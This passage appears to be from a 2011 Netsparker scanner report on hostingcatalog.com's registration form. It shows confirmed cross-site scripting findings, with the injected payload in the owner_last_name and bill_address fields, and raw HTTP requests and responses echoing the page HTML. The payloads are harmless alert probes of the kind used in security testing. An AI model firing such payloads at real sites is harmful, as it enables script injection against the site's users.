<option value='7C9931B12F31C0B5CA7CE84E37C72B5FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5A41B6AF4024EED6FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B518F91CC68B3C4EFBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B58A05B05A969F25D0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B5BDE13D178D65FB2EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B5CE2863657ACD7F0AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B5A7599A3592C60F586F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B54F247171E97E98786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B5F284AB60CD0E403A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST '"--></style></script><script>alert(0x001F8C)</script>
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 530
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F8C)%3c%2fscript%3e&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:59 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5861283D16AC620B6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B56BD9D6AE648EBD286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B549FB77B1E18A73BAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B587A019402FB1DBADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B5A9F4A07E74CDA1E06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B59BBF7DB490282A16C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B56B6AF70CCF240354C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B507FB19841CDA103B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B507F7589504D5CC81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5EE1C6AC5FBE85C846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B5B2215EE02B566BA8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5CF7FB1A974B573CDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B5AB6F08E11D96523EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5BDDF8C71435DC998C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B59F6B32299F96F8C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B51B565D6B7322A5ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B53335DED53E26F4056F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B57FAB24429ABB85AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B5904FA4CAED95772F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST '"--></style></script><script>alert(0x001F9C)</script>
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F9C)%3c%2fscript%3e&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:24:16 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
